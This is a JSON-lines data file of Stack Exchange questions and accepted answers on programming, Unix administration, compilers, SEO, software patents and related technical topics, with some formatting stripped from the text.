{  "id": "_softwareengineering.4391"  , "question": "I've programmed a bit of Haskell and Prolog as part of a couple of uni courses, but that's about it. And I've never seen it been used in industry (not that I've had much of working experience to begin with but I've never seen an ad where you are required to know them).So should we be using functional and/or logic programming languages more often? Are there any advantages or disadvantages for using or not using them?"  , "title": "Should we be using functional and/or logic programming languages more?"  , "tags": "programming languages;functional programming"  , "accepted_answer": "I believe in using the right tool for the job. Both imperative and functional languages have their place and there's no need to push for using one kind more than the other.For the advantages/disadvantages, I don't think I could beat Eric Lippert's answer to the Why hasn't functional programming taken over yet? SO question."  } 
{  "id": "_cs.257"  , "question": "There's been a lot of hype about JIT compilers for languages like Java, Ruby, and Python. How are JIT compilers different from C/C++ compilers, and why are the compilers written for Java, Ruby or Python called JIT compilers, while C/C++ compilers are just called compilers?"  , "title": "How is a JIT compiler different from an ordinary compiler?"  , "tags": "compilers"  , "accepted_answer": "JIT compilers compiles the code on the fly, right before their execution or even when they are already executing. This way, the VM where the code is running can check for patterns in the code execution to allow optimizations that would be possible only with run-time information. Further, if the VM decide that the compiled version is not good enough for whatever reason (e.g, too many cache misses, or code frequently throwing a particular exception), it may decide to recompile it in a different way, leading to a much smarter compilation.On the other side, C and C++ compilers are traditionally not JIT. They compile in a single-shot only once on developer's machine and then an executable is produced."  } 
{  "id": "_computergraphics.2275"  , "question": "In virtual reality, the motion-to-photon time is very important. Oculus says it has to be less than 20ms. Maybe 10~15ms is better.Some people try to introduce Frameless rendering technology into VR. I think it's good to reduce the latency. But I don't know how the display quality is. According to the paper: Adaptive Frameless Rendering and the video (https://www.youtube.com/watch?v=ycSpSSt-yVs), it seems not very good. But, in this paper Construction and Evaluation of an Ultra Low Latency Frameless Renderer for VR, the authors used FPGA instead of GPU to render and used Frameless Rendering to reduce the latency to 1ms. In my mind, FPGA is very hard to replace GPU in 3D rendering area. And, Frameless Rendering needs racing the beam, it is also very hard to program. What do you think? Is it realistic to use FPGA and frameless rendering?"  , "title": "Can Frameless rendering reduce latency? And, can FPGA do 3D rendering instead of GPU?"  , "tags": "rendering;gpu;virtual reality"  , "accepted_answer": "First of all, the frameless rendering technique is in the context of raytracing, not rasterization. It's not obvious how it could be made to work effectively with rasterization, given that the basic idea of it is to update an image by a combination of temporal reprojection plus firing rays specifically at areas where the algorithm thinks the image is undersampled.So this technique is, prima facie, not compatible with rasterization-based graphics applications. But if you're already doing raytracing for other reasons, this technique would be interesting to look at; it certainly appears to improve quality relative to an image raytraced from scratch each frame, with the same number of rays per second.Raytracing on a GPU is certainly possible; you don't need an FPGA for that. I've only skimmed the second paper, but my reading of it is that the main reason for the FPGA is to get a close coupling between the display scanout and the rendering activity: namely they race the beam and evaluate pixels just before they're about to be scanned out, thus obtaining low latency.The GPU equivalent of this is probably to split the image in thin horizontal strips, and kick off a compute dispatch to render each strip just before it starts to be scanned out. Today, this is difficult to accomplish as it requires either millisecond-precise scheduling that desktop OSes are not currently set up for, or it requires the GPU to be able to dispatch based on an interrupt from the scanout unit—a hardware feature that doesn't currently exist AFAIK (or if it does, it isn't exposed in any graphics APIs). Or you might be able to make it work with a long-running asynchronous compute dispatch, if you can find a way to stay in sync with scanout.So, there are obstacles, but they aren't insurmountable, and I think if there was sufficient interest in racing-the-beam-style rendering, then OS and GPU vendors could come up with a way to do it in the future. So I don't think an FPGA is required for this kind of technique to work. On the other hand, the fact that it's based on raytracing is a much bigger obstacle to using it in real-world apps and games."  } 
{  "id": "_unix.58087"  , "question": "I mounted redhat dvd media and I named in redhat.iso. And when i mounted it and did lsit showed /media/RHEL-5.6 i386 DVD. What does this space mean between 5.6 and i386 and DVD. Because Im creating a DVD based Repository which i will use to Upgrade the Redhat linux.Im asking this because I have to assign this path in Baserul=file:///Absolute/Path to run yum upgradecommand which will upgrade redhat 5.5 to 5.6. And when assign it like this baseurl=file:////media/RHEL-5.6 i386 DVDit give me error that i can only use https, ftp or URL not  df -h ResultsInstructions entered in dvd.repo[dvd.repo]name=dvd.repobaseurl=file:///media/RHEL_5.6\\ i386\\ DVD/SERVERenabled=1gpgcheck=0And when I omitted white space and wrote basurl like thisbaseurl=file:///media/RHEL_5.6\\i386\\DVD/Serverand saved it and then used the command YUM CLEAN ALL and after that YUM LIST ALL it smashed me with this message"  , "title": "What does White space mean when you mount ISO"  , "tags": "rhel;repository"  } 
{  "id": "_codereview.134934"  , "question": "I created this code and it works fine, but I think it's ugly. Could you show me a better way to create a list of three different random numbers from 1 to 9?class Baseball_Engine(object):    def __init__(self):        self.count = 0        self.random_number_list = [0, 0, 0]        while self.count < 3:            random_number = random.randint(1, 9)            self.random_number_list[self.count] = random_number                if self.random_number_list[self.count - 1] != random_number and self.random_number_list[self.count - 2] != random_number:                self.count += 1        print self.random_number_list"  , "title": "Python random number generator between 1 and 9"  , "tags": "python;random"  } 
{  "id": "_unix.359494"  , "question": "Ok, here's a brain puzzle: how can I find out how many times a particular file has been opened (in any mode) by any / all processes currently running on a Linux machine? I.e. how many file descriptors, globally (or within a namespace / container, doesn't matter) are in use referencing a particular file / inode?One way of finding this out would probably be using lsof and counting how many times does the filename in question appears in its output. But that seems inelegant, and in any case, I'd need something like this programatically, in C.Edit: or maybe a similar but different question, which would also be helpful: is a particular file (a random file on the file system, so no attaching handlers and waiting for something to happen) opened at all, by any process (possibly excluding this one)?"  , "title": "Find out how many times a file has been opened?"  , "tags": "filesystems;c;system calls;lsof"  } 
{  "id": "_webmaster.68899"  , "question": "I'm working as a bit of a webmaster for a guy that runs a network of backlinked websites to increase his PR for a couple of his eCommerce sites. I don't know much about them, I just know they generate content and funnel the link juice back to where it's needed. He is hell-bent on making SEO as good as possible on every one of the sites under his network. We have a VPS running about 10 of these sites on a single IP address and he has been struck with the somewhat logical assumption that if Google thought they all came from different servers, as opposed to one, their SEO and pagerank would be better. I'm however a little more skeptical of this idea, as I don't see why on earth Google would consider the content generated from the same server more valuable than content generated from different servers.In terms of SEO, would a network of sites that link to each other benefit from having different IP addresses? Or could they result in a penalty if they all used the same IP address?"  , "title": "Would a different IP address for each site in a network of sites help with SEO or prevent a penalty?"  , "tags": "seo;google;pagerank;ip address"  , "accepted_answer": "It is highly likely that Google reduces the linkjuice passed from one site to another if it is on the same IP address because Google makes the logical and reasonable assumption that the link isn't an unbiased link.  Google uses links as 'votes' for how important a site is - the more links it gets from other sites the higher it's 'authority'.  The more links you get from high authority sites the better.  If you get links from sites that you own, i.e. they are on the same IP address, then that doesn't count like a full vote from a completely independent site.It isn't quite as simple as changing the IP address though.  IP addresses are chunked up into blocks, and if you use a hosting provider they will normally have ownership over several blocks ('C' blocks, where the first three sets of numbers (octets) are the same), and even if you take out another server with a different IP address it is likely to be from the same C block, which again is another clue for Google that the two websites are controlled by the same person.  Cue reduced linkjuice.Final point - Google is totally aware of these backlink schemes and have engineers that are cleverer than the webmasters trying to set them up; whilst this sort of thing worked ten years ago it is less and less successful now.  Far more sustainable and value-adding is building a credible backlink profile by legitimately building good content that other independent and relevant sites want to link back to.A link wheel type thing where you create the spokes linking into the hub website is doomed to failure because the 'domain authority' of the spoke sites is going to be practically zero (because they don't have authoritative links into them).  I've been responsible for the SEO for an eCommerce business that generates over $150M in revenue per year and I'd never dream of trying to set up this kind of backlink scheme. "  } 
{  "id": "_softwareengineering.347238"  , "question": "I have two engineers with very different development styles.Engineer A prefers a high degree of upfront planning and designing, considerations for all possible options with pros/cons mapped out. Engineer B prefers to find the quickest path to test. We are a skunkworks team and are responsible for testing a bunch of new ideas. So Engineer B seems to be taking the right path. On the other hand, the rationale from Engineer A is, if something works, we would have to toss much of what we've just done and build it right. So a go slow to go fast mentality.I am frantically trying to hire a technical leader for this team, but in the mean time I'm in charge and my lack of technical background is starting to show. Any advice, or even pointing me in the right direction would be helpful!"  , "title": "How should I weigh the cost of rapidly testing for customer signal versus proper upfront design?"  , "tags": "team leader;leadership"  } 
{  "id": "_softwareengineering.135272"  , "question": "I was wondering whether it is possible to give any advice as the the maximum number of lines of code at which one should consider switching from say MATLAB to a more low level language?Is it even the case that at a certain point it makes more sense to manage a certain degree of complexity of a given program in a proper object oriented language rather then MATLAB? I should say I am a newbie in both MATLAB and Java, so I have no hidden agenda in this question even though I m aware of the heated discussions that people sometimes engage in over whether MATLAB is a proper programming language. I'm not experienced enough to even think about participating in such an exchange and I'm just looking for advice whether there is a cut off point where one really needs to go to a different language?Also I should add I understand the code may become longer when you move to lower level, however I was under the impression that object oriented programming makes it easier to manage the complexity of bigger programs. (Maybe lines of code was a bad choice as a proxy for complexity?) Is the choice of low vs. high level just one of performance? (which in the end you have to pay for with a bigger programming task at your hands for the low level language?)"  , "title": "Lines of Code vs. Optimal Language"  , "tags": "java;matlab"  } 
{  "id": "_softwareengineering.154796"  , "question": "I know this sounds a lot like other questions which have already being asked, but it is actually slightly different. It seems to be generally considered that programmers are not good at performing the role of testing an application. For example: Joel on Software - Top Five (Wrong) Reasons You Don't Have Testers (emphasis mine) Don't even think of trying to tell college CS graduates that they can  come work for you, but everyone has to do a stint in QA for a while  before moving on to code. I've seen a lot of this. Programmers do not  make good testers, and you'll lose a good programmer, who is a lot  harder to replace.And in this question, one of the most popular answers says (again, my emphasis): Developers can be testers, but they shouldn't be testers. Developers  tend to unintentionally/unconciously avoid to use the application in a  way that might break it. That's because they wrote it and mostly test  it in the way it should be used.So the question is are programmers bad at testing? What evidence or arguments are there to support this conclusion? Are programmers only bad at testing their own code? Is there any evidence to suggest that programmers are actually good at testing? What do I mean by testing? I do not mean unit testing or anything that is considered part of the methodology used by the software team to write software. I mean some kind of quality assurance method that is used after the code has been built and deployed to whatever that software team would call the test environment."  , "title": "Are programmers bad testers?"  , "tags": "testing;qa"  } 
{  "id": "_unix.370283"  , "question": "I have a script that runs several different psql statements. I'm trying to capture the error output from psql when password entered is incorrect.The password is entered in before the check (and when correct, the psql statements execute successfully)I've tried the following:pwcheck=`psql -q -U postgres -h $ip -d $database;`echo error message: $pwcheckWhen I enter an incorrect password to check it, the error messages are output but the variable is empty. psql: FATAL:  password authentication failed for user postgresFATAL:  password authentication failed for user postgreserror message:Ideally, I'd like to save the error message to a variable and not print my own error message/prompt and not display the psql errors at all.How can I store either of these error messages in a bash variable?   "  , "title": "How to save psql error message output in bash variable?"  , "tags": "bash;shell script;variable;postgresql;error handling"  } 
{  "id": "_unix.29587"  , "question": "Is there way to run Plasma/DeviceNotifier under another WM to KWin/KDE (e.g. Fluxbox).To be more specific, I have currently configured KDE, but I work remotely thorough SSH -Y + X-forwarding. So running plasma-desktop might run all other Plasmoids/Widgets. I'd like to run only one : DeviceNotifier. As I see it runs thought libs, no standalone executable there:~$ pacman -Ql | grep devicenotikdebase-workspace /usr/lib/kde4/plasma_applet_devicenotifier.sokdebase-workspace /usr/lib/kde4/plasma_engine_devicenotifications.sokdebase-workspace /usr/share/kde4/services/plasma-applet-devicenotifier.desktopkdebase-workspace /usr/share/kde4/services/plasma-dataengine-devicenotifications.desktopkdebindings-python /usr/share/sip/PyKDE4/solid/devicenotifier.sipkde-l10n-pl /usr/share/locale/pl/LC_MESSAGES/plasma_applet_devicenotifier.mokdelibs /usr/include/solid/devicenotifier.hSo... how to run it ?Update:Running plasma-desktop does not work.I run on my laptop:laptop$ xinit;laptop$ ssh -Y desktop;desktop$ fluxbox #X forwardingSo I run fluxbox on remote machine (Desktop).When I run in such situation plasma-desktop I end-up with whole screen messed up with all widgets I normally use on remote machine when I work on it locally.There are few problems there : (1) On desktop I have six times more screen space, (2) when I work remotely I do not need most of stuff I need when I work locally (3) I'm afraid of running another instance remotely of all those widgets and stuff, when it's already running on desktop.That's why I am asking about running only one widget.It can be plasma-desktop, but running only one widget, but not whole stuff I have setup and running on desktop locally."  , "title": "Running Plasmoid under NOTKDE (e.g. Fluxbox) - Plasma/DeviceNotifier"  , "tags": "kde;window manager;desktop;desktop environment;plasma"  , "accepted_answer": "The name of the executable your looking for is called plasma-desktop.  I would try it out first, and if your satisfied with the results, then set it to autostart.  You are required to install a good chunk of the KDE dependencies to make it happen, but should not have a problem running just the plasmoids.I will say this, plasmoids are the best desktop widgets around.  It becomes obvious once you compare the offerings of other available engines.   Unfortunately they are not the easiest to write, and they are highly integrated with the KDE DE.  You would get a much lighter environment running a light standalone widget engine.  I suspect though, because of your specified applet, that alternative web widgets are not what you want.  If you are having trouble with clean automounting, which can be an issue on clean install Flux/Black/OpenBox, good lightweight udisks/udev scripts are available from packages.Update: In response to new issues.It's possible to run single plasmoids, in their own window.  You would need to use plasmoidviewer to run the Device Notifier.  It's known for its use in developing widgets, and also considered fairly ugly.  However it should work, if you only desire to run the one single widget."  } 
{  "id": "_unix.323953"  , "question": "I have many directories with the names as followinggeom1 geom10 geom11 geom12 geom13 geom14 geom15 geom16 geom17 geom18 geom19 geom2 geom20 geom3 geom4 geom5 geom6 geom7 geom8 geom9I would like to rename them to be like this  geom0000001 geom0000002 geom0000003 geom0000004 geom0000005 geom0000006 geom0000007 geom0000008 geom0000009 geom0000010 geom0000011 geom0000012 geom0000013 geom0000014 geom0000015 geom0000016 geom0000017 geom0000018 geom0000019 geom0000020I used the following scripta=1 for  i in geom*/; do          new=$(printf geom%07d $a)             mv -- $i $new              let a=a+1      donethe problem, it moves for examples geom10 to  geom0000002 not to  geom0000002 while geom2 to geom0000012 not to geom0000002what I want is to renames the directories with the same sequence but with the new format."  , "title": "How to reformat the directories names?"  , "tags": "shell script"  } 
{  "id": "_unix.210336"  , "question": "How can I manipulate field-based data from the commandline? For exampleHow can I print only lines whose Nth field is foo?How can I print only lines whose Nth field isn't foo?How can I print only lines whose Nth field matches foo?How can I change field N to foo?Is there a standard approach or toolset that facilitates manipulating field-based data on *nix systems?"  , "title": "How can I extract/change lines in a text file whose data are separated into fields?"  , "tags": "text processing;sed;awk;perl"  , "accepted_answer": "There are two basic approaches one can use when dealing with fields: i) use a tool that understands fields; ii) use a regular expression. Of the two, the former is usually both more robust and simpler.Many of the commonly available tools on *nix are either explicitly designed to deal with fields or have nifty tricks to facilitate it.1. Use a tool that understands fields1.1 awkThe classic tool here is awk. It will automatically split each input line into fields (the field separator is whitespace by default but can be changed using the -F flag) and the fields are then available to the awk script as $n where n is the field number. The 1st field is $1, the second $2 etc.Print lines whose 3rd field is foo.awk '$3==foo' fileChanging the delimiter to :awk -F: '$3==foo' fileThe default action of awk is to print. Therefore the commands above will print all lines whose 3rd field is foo. When using -F, you can set arbitrary field separators, and even use regular expressions.How can I print only lines whose 3rd field isn't foo?awk '$3!=foo' fileHow can I print only lines whose 3rd field matches foo?If you're just looking for fields that match a pattern (for example, foo matches foobar), use ~ instead of ==:awk '$3~/foo/' fileHow can I print only lines whose 3rd field doesn't match foo?awk '$3!~/foo/' fileHow can I change the 3rd field to foo?awk '$3=foo' file1.2 PerlAnother choice is perl one-liners. Like awk, Perl is a full-featured scripting language but can also be run as a commandline program taking a script as input. Its behavior is modified by commandline switches, the most relevant of which for this question are:-e : the script that perl should run;-n : read the input file line by line;-p : print each input line after applying the script given by -e;-l : remove trailing newlines from each input line and add a newline to each print call;-a : awk-mode, split each input line into the array @F;-F : the field separator for -a.An important difference with awk is that perl's -a switch splits files into an array. In Perl, arrays start at 0, not 1. This means that the 2nd field is actually $F[1] and not $F[2]. With all this in mind, the perl equivalents of the above are:Print lines whose 3rd field is foo.perl -ane 'print if $F[2] eq foo' fileChanging the delimiter to :perl -F: -ane 'print if $F[2] eq foo' fileUnlike awk, perl can't use regular expressions as field delimiters. They need to be a specific character or string.How can I print only lines whose 3rd field isn't foo?perl -ane 'print unless $F[2] eq foo' fileHow can I print only lines whose 3rd field matches foo?perl -ane 'print if $F[2]=~/foo/' fileHow can I print only lines whose 3rd field doesn't match foo?perl -lane 'print unless $F[2]=~/foo/' fileHow can I change the 3rd field to foo?This one is a bit more cumbersome in Perl. The usual approach is to change the value in the @F array and then print the array. With simple space-separated files, this is easy:perl -lane '$F[2]=foo; print @F' fileWith a different delimiter, you will need to join the array. Otherwise, it will be printed space-separated:perl -F: -lane '$F[2]=foo; print join :,@F' file2. Use regular expressionsThe idea here is to use a regular expression (regex for short) that defines the position of the target string in the line. For example, in a file whose fields are separated by :, we can find the 2nd field by matching everything up to the 1st : (the 1st field) and then looking for the second:^[^:]*:[^:]*:This regex means:^ : the beginning of the line;[^] :  a negated character class. [^:] means anything but :;* : 0 or more of the previous pattern;: : a literal :;Taken together, this means that the first [^:]* is the first field and the second is the second field. Obviously, this is not very practical if you're looking for the 14th field but it can be useful for simpler things. So, how do we implement this to manipulate our data? There are various tools that can do this; in these examples I will use sed but you could do very similar things with awk, perl or python.How can I print only lines whose 2nd field is foo?sed -n '/^[^:]*:foo:/p' fileThe -n suppresses normal output and the /regex/p means print any lines that the regex matched.How can I print only lines whose 2nd field isn't foo?sed '/^[^:]*:foo:/d' fileThe logical inverse of the above. Here, the /regex/d means delete any lines that the regex matches.How can I print only lines whose 2nd field matches foo?sed -n '/^[^:]*:[^:]*foo/p' fileHow can I print only lines whose 2nd field doesn't match foo?sed '/^[^:]*:[^:]*foo/d' fileHow can I change the 2nd field to foo?sed 's/\\([^:]*:\\)[^:]*/\\1foo/' file Or, since sed substitution can directly address a patterns occurrence by its repetition with a simple numeric flag:sed 's/[^:]*/foo/2' file"  } 
{  "id": "_unix.360869"  , "question": "I'm testing some custom kernels. But each time I rebuild the bzImage and copy it to /boot directory, it refuses to boot and stuck at initramfs.I recognised the problem as previously built kernel modules are not loading with the new kernel.disagrees about version of symbol module_layoutAs they're looking for the exactly same kernel version.I don't want to rebuild the modules each time.So is there any way to force the kernel not to check kernel version, like --force-varmagic and load them ?Also is there any way to disable this local version related issue while configuring the kernel ?UpdatesIn my kernel configuration CONFIG_MODVERSIONS is y and CONFIG_MODULE_FORCE_LOAD is also y ."  , "title": "Boot time kernel parameter to ignore module version check"  , "tags": "linux;linux kernel;kernel modules"  } 
{  "id": "_reverseengineering.15579"  , "question": "I know that shl instruction is like mul operation, and shr is like div operation, and it's used for optimization. shl eax, n is the same as eax = (eax)*(2^n)Now I am reading about rol and ror assembly instructions and I got how it works, but I don't know what is the point of the rotation operation in general and when to use it?"  , "title": "What is the need of the Rotation Operation?"  , "tags": "assembly;x86"  } 
{  "id": "_unix.198061"  , "question": "Background and Current SituationI inherited a CentOS 5.7 box running Mailman 2.1.9 housing a series of legacy mailing lists. I've been working on moving these lists to other services like Exchange mailing lists and have simply been aliasing the mailing list on the current mailman box to the new Exchange list which is a great short term fix for getting users to use the new lists.I'd ultimately like to phase out this box and remove it from production but for a few months at least I'd like to auto-reply to (but not forward) messages sent to the old lists and let clients know that the list is going to be phased out and ideally inform them of the new list address.The QuestionWhat would be the best way to take messages sent to training@subdomain.domain.tld where the current alias in /etc/aliases looks like training: |/usr/lib/mailman/mail/mailman post trainingand reply to the sender with a message? I've read in a number of places that procmail or the vacation package are the best bets but I can't seem to find any guidance on how to adapt these solutions to large numbers of aliases where there aren't actual users behind the alias.One Caveat is that the lists aren't transitioning one for one (i.e. training@subdomain.domain.tld isn't becoming training@domain.tld) so I can't simply do a blanket redirect or simply update the MX records to point to a new set of mail servers. Environment DetailsBelow are some details about the current box and installed packages:CentOS 5.7Mailman 2.1.9Procmail 3.22Sendmail 8.13.8Postfix 2.3.3"  , "title": "Auto-Reply to Messages Sent to Mailing List"  , "tags": "email;sendmail;procmail"  , "accepted_answer": "Your question is hazy on the details, and I have a bad feeling you are making the whole thing more complex than it needs to be (do you really need to rename the mailing lists? What is it about Exchange that makes it not worse?) but to attempt to answer your concrete question, you should be able to add a second destination to the alias which runs the responder, then passes the message to Mailman, or forwards to the new list address, or whatever.  (Of course, if you just want to send the reply, you don't need the original destination any longer; but it is worth pointing out that this is a possibility.)training: |/usr/local/bin/autoreply training, |/usr/lib/mailman/mail/mailman post trainingwhere /usr/local/bin/autoreply might look something like#!/bin/sh######## WARNING: not properly investigatedvacation -a $1 -m /etc/vacation.msg -f /etc/vacation -e /etc/vacationI have not investigated whether it is possible or sensible to run vacation with these options, and it also depends on which user you are running this action as (sendmail?).  You need to set things up so that the user who runs this script has write access to the resources the program is trying to use; maybe even create a separate user for this purpose.  As a starting point, if you can run vacation -I with the above options as root and then change the owner of the files it creates to the user you want to use for this, you should be all set.Obviously, if you want to use Procmail instead of vacation, you can pretty much copy and paste the traditional recipe from man procmailex -- because it is made up from simple pieces, it might be easier to adapt to your circumstances if you can't get vacation to work reasonably in this setting.... Or look into something like http://www.brandonchecketts.com/archives/vacation-autoreply-message-with-virtual-users-and-postfix as a one-stop replacement for the regular vacation program.  If your end goal is simply to shut down things ASAP, you might want to consider replacing Sendmail with Postfix just so you have a simpler and more secure system during the transition period, and then the virtual vacation responder instructions behind the link should be easy to just plug and play. (See also https://benjaminjchapman.wordpress.com/2012/07/31/creating-a-vacation-message-in-centos/ for a sort of middle ground.)"  } 
{  "id": "_softwareengineering.183807"  , "question": "I've written a recursive search algorithm to find the boundaries of a voxel data structure in order to render it more efficiently. I've looked around, and either it's such a simple and obvious technique that nobody's bothered to patent it, or it's novel and nobody's done it this way before.It's openly published on GitHub and protected under the GPL. I'd like to show it to others, to see if it can be improved, however...I fear that although I've written and published it, someone may attempt to patent the same idea.Am I safe, protected by the banners of open source software, or must I attempt to protect myself like the big guns and patent trolls do?It's my belief that software patents are evil, and that in order for the best software to be written, many eyes need to see it. I'm worried this may be a rather nave viewpoint on how software is written, though, and I'm curious as to what others think."  , "title": "Can someone else patent my open-sourced algorithm?"  , "tags": "licensing;algorithms;software patent"  , "accepted_answer": "Disclaimer: I am not a lawyer. If you are concerned enough, seek professional legal advice.Assuming we are dealing with US law, it would be very difficult for someone to patent it now because the code on GitHub would be prior art. However, someone may have already filed a patent before you first published the work to GitHub. Make sure you keep any notes, source code or similar material if it significantly predates the GitHub work. I would not recommend looking for similar patents because they can be very difficult to read and, if you do find one and continue, your liability triples under US law.However, I would recommend searching for similar implementations outside patents as there may be existing prior art elsewhere. As someone whose professional work used to include reviewing patent applications and looking for prior art, if you do not find anything similar, I would guess you are not searching in the right places or using the correct terms.Also note that, even if someone else does patent it, they may not assert their right to prevent you using the invention. They would only do so if your use of the invention materially impacts their sales or otherwise made them more money than taking legal action against you.As mentioned above, seek professional advice if it concerns you.[Edit: Added the following.]Also remember that the GitHub code is only prior art for that exact implementation. There may be variations, alternatives or improvements, for example, so keeping notes or a diary for potentially patentable work is critical. "  } 
{  "id": "_datascience.9025"  , "question": "I've been writing a java library that I want to use to build Bayesian Belief Networks. I have classes that I use to build a Directed Graphpublic class Node{    private String label;    private List<Node> adjacencyList = new ArrayList<Node>();    private Frequency<String> distribution = new Frequency<String>();    public String getLabel() {        return label;    }    public void setLabel(String label) {        this.label = label;    }    public List<Node> getAdjacencyList(){        return adjacencyList;    }    public void addNeighbour(Node neighbour){        adjacencyList.add(neighbour);    }    public void setDistribution(List<String> data){        for(String s:data){            distribution.addValue(s);        }    }    public double getDistributionValue(String value){        return distribution.getPct(value);    }} Graphpublic class DirectedGraph {Map<String,Node> graph = new HashMap<String,Node>();public void addVertex(String label){    Node vertex = new Node();    vertex.setLabel(label);    graph.put(label, vertex);}public void addEdge(String here, String there){    Node nHere = graph.get(here);    Node nThere = graph.get(there);    nThere.addNeighbour(nHere);    graph.put(there,nThere);}public List<Node> getNeighbors(String vertex){    return graph.get(vertex).getAdjacencyList();}public int degree(String vertex){    return graph.get(vertex).getAdjacencyList().size();}public boolean hasVertex(String vertex){    return graph.containsKey(vertex);}public boolean hasEdge(String here, String there){    Set<Node> nThere = new HashSet<Node>(graph.get(there).getAdjacencyList());    boolean thereConHere = nThere.contains(here);    return (thereConHere);}}I have a class that I use to keep track of the probability distribution of a data setpublic class Frequency<T extends Comparable<T>> {private Multiset event = HashMultiset.create();private Multimap event2 = LinkedListMultimap.create();public void addValue(T data){    if(event2.containsKey(data) == false){        event2.put(data,data);    }    event.add(data);}public void clear(){    this.event = null;    this.event2 = null;    this.event = HashMultiset.create();    this.event2 = LinkedListMultimap.create();}public double getPct(T data){    int numberOfIndElements = event.count(data);    int totalNumOfElements = event.size();    return (double) numberOfIndElements/totalNumOfElements;}public int getNum(T data){    int numberOfIndElements = event.count(data);    return numberOfIndElements;}public int getSumFreq(){    return event.size();}public int getUniqueCount(){    return event.entrySet().size();}public String[] getKeys(){    Set<String> test = event2.keySet();    Object[] keys = test.toArray();    String[] keysAsStrings = new String[keys.length];    for(int i=0;i<keys.length;i++){        keysAsStrings[i] = (String) keys[i];    }    return keysAsStrings;}}as well as another function that I can use to calculate conditional probabilitiespublic double conditionalProbability(List<String> interestedSet,                                     List<String> reducingSet,                                     String interestedClass,                                     String reducingClass){    List<Integer> conditionalData = new LinkedList<Integer>();    double returnProb = 0;    iFrequency.clear();    rFrequency.clear();    this.setInterestedFrequency(interestedSet);    this.setReducingFrequency(reducingSet);    for(int i = 0;i<reducingSet.size();i++){        if(reducingSet.get(i).equalsIgnoreCase(reducingClass)){            if(interestedSet.get(i).equalsIgnoreCase(interestedClass)){                conditionalData.add(i);            }        }    }    int numerator = conditionalData.size();    int denominator = this.rFrequency.getNum(reducingClass);    if(denominator !=0){        returnProb = (double)numerator/denominator;    }    iFrequency.clear();    rFrequency.clear();    return returnProb;}However, I'm still not sure how to hook everything up in order to perform classification.I was reading over a paper entitled Comparing Bayesian Network Classifiers  to try and get an understanding. Let's say that I am trying to predict a person's sex based on the attributes height, weight and shoe size. My understanding is that I would have Sex as my parent/classification node and height, weight and shoe size would by my child nodes.This is what I'm confused about. The various classification nodes only keep track of the probability distribution of their respective attributes, but I'd need the conditional probabilities in order to perform classification.I have an older version of Naive Bayes that I wrotepublic void naiveBayes(Data data,List<String> targetClass, BayesOption bayesOption,boolean headers){    //intialize variables    int numOfClasses = data.getNumOfKeys();//.getHeaders().size();    String[] keyNames = data.getKeys();//  data.getHeaders().toArray();    double conditionalProb = 1.0;    double prob = 1.0;    String[] rClass;    String priorName;    iFrequency.clear();    rFrequency.clear();    if(bayesOption.compareTo(BayesOption.TRAIN) == 0){        this.setInterestedFrequency(targetClass);        this.targetClassKeys = Util.convertToStringArray(iFrequency.getKeys());        for(int i=0;i<this.targetClassKeys.length;i++){            priors.put(this.targetClassKeys[i],iFrequency.getPct(this.targetClassKeys[i]));        }    }    //for each classification in the target class    for(int i=0;i<this.targetClassKeys.length;i++){        //get all of the different classes for that variable        for(int j=0;j<numOfClasses;j++){            String reducingKey = Util.convertToString(keyNames[j]);            List<String> reducingClass = data.dataColumn(reducingKey,DataOption.GET,true);// new ArrayList(data.getData().get(reducingKey));            this.setReducingFrequency(reducingClass);            Object[] reducingClassKeys = rFrequency.getKeys();            rClass = Util.convertToStringArray(reducingClassKeys);            for(int k=0;k<reducingClassKeys.length;k++){                if(bayesOption.compareTo(BayesOption.TRAIN) == 0){                    conditionalProb = conditionalProbability(targetClass, reducingClass, this.targetClassKeys[i], rClass[k]);                    priorName = this.targetClassKeys[i]+|+rClass[k];                    priors.put(priorName,conditionalProb);                }                if(bayesOption.compareTo(BayesOption.PREDICT) == 0){                    priorName = this.targetClassKeys[i]+|+rClass[k];                    prob = prob * priors.get(priorName);                }            }            rFrequency.clear();        }        if(BayesOption.PREDICT.compareTo(bayesOption) == 0){            prob = prob * priors.get(this.targetClassKeys[i]);            Pair<String,Double> pred = new Pair<String, Double>(this.targetClassKeys[i],prob);            this.predictions.add(pred);        }    }    this.iFrequency.clear();    this.rFrequency.clear();}So I generally understand how the math works, but I'm not quite sure how I'm supposed to get things to work with this specific architecture. How do I calculate the conditional probabilities?Can somebody explain this discrepancy to me please? "  , "title": "How do I perform Naive Bayes Classification with a Bayesian Belief Network?"  , "tags": "machine learning;data mining;classification;statistics;predictive modeling"  , "accepted_answer": "After reading some more papers, I realize that I misunderstood how the graphs work. The graphs are supposed to contain the conditional probabilities based on their parent(s). This clears up the doubts that I had before.For more information, see this book chapter."  } 
{  "id": "_softwareengineering.247262"  , "question": "I'm writing a method and depending on a config field I need to change where I get my data from. What this results in me having to write code that looks like this:List<string> result = new List<string>();if (configField){    result.Add(fieldA);}else{    result.Add(...BusinessLogic...);}I'll have to write that if statement many many times so of course I want to turn it into a method instead so I can just write result.Add(newMethod(configField, fieldA, dataForBusinessLogicToParse)). This method would be useless to anyone not writing the specific method I'm writing so does it make sense to declare this method as a separate private method or can I just declare it inline as a delegate like this:Func<Enum, int, int> newMethod = (configField, fieldA, dataForBusinessLogicToParse) => ...businessLogic...I'm worried declaring it inline might make the code more difficult to understand but I think it makes the class cleaner."  , "title": "Is it good practice declare a function inline?"  , "tags": "c#;programming practices"  , "accepted_answer": "As far as I know, declaring a helper method as a lambda like this is not commonly done in C#, so I would advise against doing this unless you have a good reason.Good reasons include:The lambda could do something a separate method can't, like closing over a local variable or using anonymous type.Others in your team agree with you that this is a good practice."  } 
{  "id": "_cs.68003"  , "question": "In Alloy Tutorial they denote some reflexive transitive closure with Kleene star saying that they admit zero or more elements at that position.   // File system is connected  fact {    FSObject in Root.*contents  }In Alloy, in can be read as subset of (among other things). The operator * denotes reflexive transitive closure. Thus, this fact says that the set of all file system objects is a subset of everything reachable from the Root by following the contents relation zero or more times.Reflexive Transitive Closure *In Alloy, *bar denoted the reflexive transitive closure of bar. It is equavalent to (iden + ^bar) where ^ is the (non-reflexive) transitive closure operator.Can you explain the closure and star operators such thut it becomes obvious that they are identical?"  , "title": "Reflexive transitive closure = (zero or more) Kleene star?"  , "tags": "terminology;closure properties;kleene star;transitivity"  } 
